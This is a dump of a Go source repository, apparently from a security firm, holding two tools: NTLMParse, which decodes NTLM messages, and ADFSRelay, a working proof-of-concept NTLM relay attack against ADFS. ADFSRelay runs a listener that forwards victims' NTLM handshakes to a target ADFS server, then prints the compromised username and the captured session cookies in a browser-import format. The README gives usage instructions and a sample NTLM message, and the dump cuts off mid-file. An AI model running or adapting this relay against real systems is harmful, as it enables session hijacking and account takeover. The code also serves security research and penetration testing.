[
  {
    "path": ".github/workflows/release.yml",
    "content": "# Copyright 2022 Praetorian Security, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\non:\n  push:\n    # Sequence of patterns matched against refs/tags\n    tags:\n    - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n    - uses: actions/checkout@v2\n\n    - name: Setup Go Build Environment\n      uses: actions/setup-go@v2\n      with:\n        go-version: '1.18.3'\n\n    - name: Install dependencies\n      run: go mod download\n\n    - name: Build ADFSRelay\n      run: go build ./cmd/ADFSRelay\n\n    - name: Build NTLMParse\n      run: go build ./cmd/NTLMParse\n\n    - name: Create Release\n      uses: softprops/action-gh-release@v1\n      with:\n        files: |\n          ADFSRelay\n          NTLMParse\n      env:\n        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n"
  },
  {
    "path": ".gitignore",
    "content": "**/.DS_Store\n"
  },
  {
    "path": "LICENSE",
    "content": "                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright [yyyy] [name of copyright owner]\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "README.md",
    "content": "# Overview \n\nThis repository includes two utilities NTLMParse and ADFSRelay. NTLMParse is a utility for decoding base64-encoded NTLM messages and printing information about the underlying properties and fields within the message. Examining these NTLM messages is helpful when researching the behavior of a particular NTLM implementation. ADFSRelay is a proof of concept utility developed while researching the feasibility of NTLM relaying attacks targeting the ADFS service. This utility can be leveraged to perform NTLM relaying attacks targeting ADFS. We have also released a blog post discussing ADFS relaying attacks in more detail [1].\n\n# NTLMParse Usage\n\nTo use the NTLMParse utility you simply need to pass a Base64 encoded message to the application and it will decode the relevant fields and structures within the message. The snippet given below shows the expected output of NTLMParse when it is invoked:\n\n```\n➜  ~ pbpaste | NTLMParse\n(ntlm.AUTHENTICATE_MESSAGE) {\n Signature: ([]uint8) (len=8 cap=585) {\n  00000000  4e 54 4c 4d 53 53 50 00                           |NTLMSSP.|\n },\n MessageType: (uint32) 3,\n LmChallengeResponseFields: (struct { LmChallengeResponseLen uint16; LmChallengeResponseMaxLen uint16; LmChallengeResponseBufferOffset uint32; LmChallengeResponse []uint8 }) {\n  LmChallengeResponseLen: (uint16) 24,\n  LmChallengeResponseMaxLen: (uint16) 24,\n  LmChallengeResponseBufferOffset: (uint32) 160,\n  LmChallengeResponse: ([]uint8) (len=24 cap=425) {\n   00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n   00000010  00 00 00 00 00 00 00 00                           |........|\n  }\n },\n NtChallengeResponseFields: (struct { NtChallengeResponseLen uint16; NtChallengeResponseMaxLen uint16; NtChallengeResponseBufferOffset uint32; NtChallengeResponse []uint8; NTLMv2Response ntlm.NTLMv2_RESPONSE }) {\n  NtChallengeResponseLen: (uint16) 384,\n  NtChallengeResponseMaxLen: (uint16) 384,\n  NtChallengeResponseBufferOffset: (uint32) 184,\n  NtChallengeResponse: ([]uint8) (len=384 cap=401) {\n   00000000  30 eb 30 1f ab 4f 37 4d  79 59 28 73 38 51 19 3b  |0.0..O7MyY(s8Q.;|\n   00000010  01 01 00 00 00 00 00 00  89 5f 6d 5c c8 72 d8 01  |........._m\\.r..|\n   00000020  c9 74 65 45 b9 dd f7 35  00 00 00 00 02 00 0e 00  |.teE...5........|\n   00000030  43 00 4f 00 4e 00 54 00  4f 00 53 00 4f 00 01 00  |C.O.N.T.O.S.O...|\n   00000040  1e 00 57 00 49 00 4e 00  2d 00 46 00 43 00 47 00  |..W.I.N.-.F.C.G.|\n```\n\nBelow is a sample NTLM AUTHENTICATE_MESSAGE message that can be used for testing:\n\n`\nTlRMTVNTUAADAAAAGAAYAKAAAACAAYABuAAAABoAGgBYAAAAEAAQAHIAAAAeAB4AggAAABAAEAA4AgAAFYKI4goAYUoAAAAPqfU7N7/JSXVfIdKvlIvcQkMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwAQQBDAHIAbwBzAHMAZQByAEQARQBTAEsAVABPAFAALQBOAEkARAA0ADQANQBNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDrMB+rTzdNeVkoczhRGTsBAQAAAAAAAIlfbVzIctgByXRlRbnd9zUAAAAAAgAOAEMATwBOAFQATwBTAE8AAQAeAFcASQBOAC0ARgBDAEcAVQA0AEcASABPADAAOAA0AAQAGgBDAE8ATgBUAE8AUwBPAC4ATABPAEMAQQBMAAMAOgBXAEkATgAtAEYAQwBHAFUANABHAEgATwAwADgANAAuAEMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwABQAaAEMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwABwAIAIlfbVzIctgBBgAEAAIAAAAIADAAMAAAAAAAAAABAAAAACAAABQaOHb4nG5F2JL1tA5kL+nKQXJSJLDWljeBv+/XlPXpCgAQAON+EDXYnla0bjpwA8gfVEgJAD4ASABUAFQAUAAvAHMAdABzAC4AYwBvAG4AdABvAHMAbwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4ALgBjAG8AbQAAAAAAAAAAAKDXom0m65knt1NeZF1ZxxQ=\n`\n\n# ADFSRelay Usage\n\nThe single required argument for ADFSRelay is the URL of the ADFS server to target for an NTLM relaying attack. Three optional arguments are -debug to enable debugging mode, -port to define the port the service should listen on, and -help to display the help menu. An example help menu is given below:\n\n```\n➜  ~ ADFSRelay -h\nUsage of ADFSRelay:\n  -debug\n    \tEnables debug output\n  -help\n    \tShow the help menu\n  -port int\n    \tThe port the HTTP listener should listen on (default 8080)\n  -targetSite string\n    \tThe ADFS site to target for the relaying attack (e.g. https://sts.contoso.com)\n➜  ~\n```\n\n# References\n[1] https://www.praetorian.com/blog/relaying-to-adfs-attacks/\n"
  },
  {
    "path": "cmd/ADFSRelay/ADFSRelay.go",
    "content": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage main\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"flag\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n\n\t\"github.com/davecgh/go-spew/spew\"\n\t\"github.com/google/uuid\"\n\t\"github.com/praetorian-in/ADFSRelay/pkg/cookies\"\n\t\"github.com/praetorian-in/ADFSRelay/pkg/ntlm\"\n)\n\nvar (\n\ttargetSite string\n\tdebug      bool\n)\n\nfunc ADFSRelayStateHandler(w http.ResponseWriter, r *http.Request) {\n\n\tclientRequestID := r.URL.Query().Get(\"client-request-id\")\n\n\tMSISSamlRequest := \"\"\n\tfor _, cookie := range r.Cookies() {\n\t\tif cookie.Name == \"MSISSamlRequest\" {\n\t\t\tMSISSamlRequest = cookie.Value\n\t\t}\n\t}\n\n\tif clientRequestID == \"\" {\n\t\tif MSISSamlRequest == \"\" {\n\t\t\tclientRequestID = uuid.New().String()\n\n\t\t\tMSISamlRequest, err := GetMSISAMLRequestCookie(clientRequestID)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Printf(\"Error handling initial client request: %v\\n\", err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tcookie := http.Cookie{Name: \"MSISSamlRequest\", Value: MSISamlRequest}\n\t\t\thttp.SetCookie(w, &cookie)\n\n\t\t\thttp.Redirect(w, r, \"/?client-request-id=\"+url.QueryEscape(clientRequestID), http.StatusMovedPermanently)\n\t\t\treturn\n\t\t}\n\t}\n\n\tauthorizationHeaderValue, ok := r.Header[\"Authorization\"]\n\tif !ok {\n\t\tw.Header().Add(\"WWW-Authenticate\", \"Negotiate\")\n\t\tw.Header().Add(\"WWW-Authenticate\", \"NTLM\")\n\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\treturn\n\t}\n\n\tauthenticateHeaderValue := strings.Split(authorizationHeaderValue[0], \" \")\n\tif len(authenticateHeaderValue) != 2 {\n\t\tfmt.Print(\"Error Authorization header should have two values separated by a space\")\n\t\treturn\n\t}\n\n\tif authenticateHeaderValue[0] != \"Negotiate\" && authenticateHeaderValue[0] != \"NTLM\" {\n\t\tfmt.Printf(\"Error Authorization header should begin with either NTLM or Negotiate\")\n\t\treturn\n\t}\n\n\tencodedMessage := authenticateHeaderValue[1]\n\tdecodedString, err := base64.StdEncoding.DecodeString(encodedMessage)\n\tif err != nil {\n\t\tfmt.Println(\"Unable to decode base64 string, err: \", err)\n\t\treturn\n\t}\n\n\trawBytes := []byte(decodedString)\n\tntlmMessage, err := ntlm.DecodeMessage(rawBytes)\n\tif err != nil {\n\t\tfmt.Println(\"Input is not a valid NTLM message, err: \", err)\n\t\treturn\n\t}\n\n\tswitch v := ntlmMessage.(type) {\n\tcase *ntlm.NEGOTIATE_MESSAGE:\n\n\t\tif debug {\n\t\t\tspew.Dump(*v)\n\t\t}\n\n\t\tencodedChallengeMessage, err := SendNegotiateMessagetoADFS(clientRequestID, MSISSamlRequest, authorizationHeaderValue[0])\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Error getting challenge message from ADFS server, err: \", err)\n\t\t\treturn\n\t\t}\n\n\t\twwwAuthenticateValues := strings.Split(encodedChallengeMessage, \" \")\n\t\tif len(wwwAuthenticateValues) != 2 {\n\t\t\tfmt.Println(\"Error Www-Authenticate header should have two values separated by a space\")\n\t\t\treturn\n\t\t}\n\n\t\tdecodedString, err := base64.StdEncoding.DecodeString(wwwAuthenticateValues[1])\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Unable to decode base64 string, err: \", err)\n\t\t\treturn\n\t\t}\n\n\t\trawBytes := []byte(decodedString)\n\t\tchallengeMessage, err := ntlm.DecodeMessage(rawBytes)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"Input is not a valid NTLM message, err: \", err)\n\t\t\treturn\n\t\t}\n\n\t\tfmt.Println(\"Got challenge message from the ADFS server, forwarding to the client\")\n\n\t\tif debug {\n\t\t\tspew.Dump(challengeMessage)\n\t\t}\n\n\t\tw.Header().Add(\"WWW-Authenticate\", encodedChallengeMessage)\n\t\tw.WriteHeader(http.StatusUnauthorized)\n\n\tcase *ntlm.AUTHENTICATE_MESSAGE:\n\n\t\tif debug {\n\t\t\tspew.Dump(*v)\n\t\t}\n\n\t\tfmt.Println(\"Got an authenticate message from the client, forwarding to the ADFS server\")\n\t\treturnedCookies, err := SendAuthenticateMessagetoADFS(clientRequestID, MSISSamlRequest, authorizationHeaderValue[0])\n\t\tif err != nil {\n\t\t\tfmt.Println(\"error authenticating to ADFS server, err: \", err)\n\t\t}\n\n\t\tfor _, avPairs := range v.NtChallengeResponseFields.NTLMv2Response.ClientChallenge.AvPairs {\n\t\t\tif avPairs.AvId == ntlm.MsvChannelBindings {\n\t\t\t\tfmt.Println(\"Client included a channel binding token in the AUTHENTICATE_MESSAGE\")\n\t\t\t}\n\t\t}\n\n\t\texportedCookies := cookies.ExportCookiesToCookieEditorFormat(returnedCookies)\n\t\tjsonData, err := json.Marshal(exportedCookies)\n\t\tif err != nil {\n\t\t\tfmt.Println(\"error marshalling cookies, err: \", err)\n\t\t}\n\n\t\tusername := string(v.UserNameFields.UserName)\n\t\tdomain := string(v.DomainNameFields.DomainName)\n\n\t\tfmt.Printf(\"Successfully authenticated to ADFS as user: %s\\\\%s\\n\", domain, username)\n\t\tfmt.Println(\"Session Cookies:\", string(jsonData))\n\t}\n}\n\nfunc SendNegotiateMessagetoADFS(clientRequestID string, MSISSamlRequest string, headerVal string) (string, error) {\n\thttpClient := http.Client{}\n\n\tapiUrl := targetSite + \"/adfs/ls/wia?client-request-id=\" + url.QueryEscape(clientRequestID)\n\treq, err := http.NewRequest(\"GET\", apiUrl, nil)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error creating ADFS POST request: %v\", err)\n\t}\n\treq.Header.Set(\"User-Agent\", \"Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)\")\n\n\tcookie := &http.Cookie{\n\t\tName:  \"MSISSamlRequest\",\n\t\tValue: MSISSamlRequest,\n\t}\n\treq.AddCookie(cookie)\n\n\treq.Header.Add(\"Authorization\", headerVal)\n\tr, err := httpClient.Do(req)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error sending ADFS POST request: %v\", err)\n\t}\n\n\tencodedChallengeMessage, ok := r.Header[\"Www-Authenticate\"]\n\tif !ok {\n\t\treturn \"\", fmt.Errorf(\"missing required Www-Authenticate header\")\n\t}\n\n\tif debug {\n\t\tfmt.Printf(\"Www-Authenticate header is present with value %s\\n\", encodedChallengeMessage[0])\n\t}\n\n\tsplit := strings.Split(encodedChallengeMessage[0], \" \")\n\tif len(split) != 2 {\n\t\treturn \"\", fmt.Errorf(\"error Www-Authenticate header should have two values separated by a space\")\n\t}\n\n\tif split[0] != \"Negotiate\" && split[0] != \"NTLM\" {\n\t\treturn \"\", fmt.Errorf(\"error Www-Authenticate header begin with either NTLM or Negotiate\")\n\t}\n\n\treturn encodedChallengeMessage[0], nil\n}\n\nfunc SendAuthenticateMessagetoADFS(clientRequestID string, MSISSamlRequest string, headerVal string) ([]*http.Cookie, error) {\n\thttpClient := http.Client{\n\t\tCheckRedirect: func(req *http.Request, via []*http.Request) error {\n\t\t\treturn http.ErrUseLastResponse\n\t\t},\n\t}\n\n\tapiUrl := targetSite + \"/adfs/ls/wia?client-request-id=\" + url.QueryEscape(clientRequestID)\n\treq, err := http.NewRequest(\"GET\", apiUrl, nil)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error creating request: %v\", err)\n\t}\n\n\treq.Header.Set(\"User-Agent\", \"Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)\")\n\n\tcookie := &http.Cookie{\n\t\tName:  \"MSISSamlRequest\",\n\t\tValue: MSISSamlRequest,\n\t}\n\treq.AddCookie(cookie)\n\n\treq.Header.Add(\"Authorization\", headerVal)\n\tr, err := httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error sending request: %v\", err)\n\n\t}\n\n\tif r.StatusCode == 401 {\n\t\treturn nil, fmt.Errorf(\"server returned 401 either the credentials are invalid or EPA is blocking authentication\")\n\t}\n\n\treturn r.Cookies(), nil\n}\n\nfunc GetMSISAMLRequestCookie(clientRequestID string) (string, error) {\n\thttpClient := http.Client{}\n\n\tform := url.Values{}\n\tform.Add(\"SignInIdpSite\", \"SignInIdpSite\")\n\tform.Add(\"SignInSubmit\", \"Sign+in\")\n\tform.Add(\"SingleSignOut\", \"SingleSignOut\")\n\n\tapiUrl := targetSite + \"/adfs/ls/idpinitiatedsignon.aspx?client-request-id=\" + url.QueryEscape(clientRequestID)\n\treq, err := http.NewRequest(\"POST\", apiUrl, strings.NewReader(form.Encode()))\n\treq.Header.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error creating request: %v\", err)\n\t}\n\n\tr, err := httpClient.Do(req)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"error sending request: %v\", err)\n\t}\n\n\tMSISSamlRequest := \"\"\n\tfor _, cookie := range r.Cookies() {\n\t\tif cookie.Name == \"MSISSamlRequest\" {\n\t\t\tMSISSamlRequest = cookie.Value\n\t\t}\n\t}\n\n\tif MSISSamlRequest == \"\" {\n\t\treturn \"\", fmt.Errorf(\"expected MSISAMLRequest cookie from the server\")\n\t}\n\n\treturn MSISSamlRequest, nil\n}\n\nfunc main() {\n\tvar err error\n\n\tvar debugFlag bool\n\tvar listenPortFlag int\n\tvar targetSiteFlag string\n\n\thelpFlag := flag.Bool(\"help\", false, \"Show the help menu\")\n\n\tflag.IntVar(&listenPortFlag, \"port\", 8080, \"The port the HTTP listener should listen on\")\n\tflag.StringVar(&targetSiteFlag, \"targetSite\", \"\", \"The ADFS site to target for the relaying attack (e.g. https://sts.contoso.com)\")\n\tflag.BoolVar(&debugFlag, \"debug\", false, \"Enables debug output\")\n\n\tif *helpFlag {\n\t\tflag.Usage()\n\t\tos.Exit(0)\n\t}\n\n\tflag.Parse()\n\n\tif *helpFlag {\n\t\tflag.Usage()\n\t\treturn\n\t}\n\n\tif targetSiteFlag == \"\" {\n\t\tfmt.Println(\"The -targetSite parameter is required\")\n\t\tflag.Usage()\n\t\treturn\n\t}\n\n\tif listenPortFlag < 0 || listenPortFlag > 65535 {\n\t\tfmt.Println(\"Invalid listener port flag specified\")\n\t\treturn\n\t}\n\n\tlistenPort := fmt.Sprintf(\":%d\", listenPortFlag)\n\t_, err = url.Parse(targetSiteFlag)\n\tif err != nil {\n\t\tfmt.Println(\"Invalid target site URL: \", err)\n\t}\n\n\tfmt.Println(\"Starting ADFS relaying targeting:\", targetSiteFlag)\n\n\ttargetSite = targetSiteFlag\n\tdebug = debugFlag\n\n\tif debug {\n\t\tfmt.Println(\"Debug mode enabled\")\n\t}\n\n\thttp.HandleFunc(\"/\", ADFSRelayStateHandler)\n\terr = http.ListenAndServe(listenPort, nil)\n\tif err != nil {\n\t\tfmt.Printf(\"error trying to listen on HTTP on port: %s, err: %v\", listenPort, err)\n\t\treturn\n\t}\n}\n"
  },
  {
    "path": "cmd/NTLMParse/NTLMParse.go",
    "content": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage main\n\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\n\t\"github.com/davecgh/go-spew/spew\"\n\t\"github.com/praetorian-in/ADFSRelay/pkg/ntlm\"\n)\n\nfunc main() {\n\tvar input string\n\tfmt.Scanln(&input)\n\n\tdecodedString, err := base64.StdEncoding.DecodeString(input)\n\tif err != nil {\n\t\tfmt.Println(\"Unable to decode base64 string, err: \", err)\n\t\treturn\n\t}\n\n\trawBytes := []byte(decodedString)\n\tntlmMessage, err := ntlm.DecodeMessage(rawBytes)\n\tif err != nil {\n\t\tfmt.Println(\"Input is not a valid NTLM message, err: \", err)\n\t\treturn\n\t}\n\n\tswitch v := ntlmMessage.(type) {\n\tcase *ntlm.NEGOTIATE_MESSAGE:\n\t\tspew.Dump(*v)\n\tcase *ntlm.CHALLENGE_MESSAGE:\n\t\tspew.Dump(*v)\n\tcase *ntlm.AUTHENTICATE_MESSAGE:\n\t\tspew.Dump(*v)\n\t}\n}\n"
  },
  {
    "path": "go.mod",
    "content": "module github.com/praetorian-in/ADFSRelay\n\ngo 1.17\n\nrequire (\n\tgithub.com/davecgh/go-spew v1.1.1\n\tgithub.com/google/uuid v1.3.0\n)\n"
  },
  {
    "path": "go.sum",
    "content": "github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=\ngithub.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=\n"
  },
  {
    "path": "pkg/cookies/datatypes.go",
    "content": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage cookies\n\ntype CookieEditorExportFormat struct {\n\tName             string      `json:\"name\"`\n\tValue            string      `json:\"value\"`\n\tDomain           string      `json:\"domain\"`\n\tHostOnly         bool        `json:\"hostOnly\"`\n\tPath             string      `json:\"path\"`\n\tSecure           bool        `json:\"secure\"`\n\tHTTPOnly         bool        `json:\"httpOnly\"`\n\tSameSite         string      `json:\"sameSite\"`\n\tSession          bool        `json:\"session\"`\n\tFirstPartyDomain string      `json:\"firstPartyDomain\"`\n\tPartitionKey     interface{} `json:\"partitionKey\"`\n\tStoreID          interface{} `json:\"storeId\"`\n}\n"
  },
  {
    "path": "pkg/cookies/export.go",
    "content": "// Copyright 2022 Praetorian Security, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage cookies\n\nimport \"net/http\"\n\nfunc ExportCookiesToCookieEditorFormat(cookies []*http.Cookie) []CookieEditorExportFormat {\n\tvar cookieEditorExportFormat []CookieEditorExportFormat\n\n\tfor _, cookie := range cookies {\n\t\tcookieEditorExportFormat = append(cookieEditorExportFormat, CookieEditorExportFormat{\n\t\t\tName:             cookie.Name,\n\t\t\tValue:            cookie.Value,\n\t\t\tDomain:           cookie.Domain,\n\t\t\tHostOnly:         false,\n\t\t\tPath:             cookie.Path,\n\t\t\tSecure:           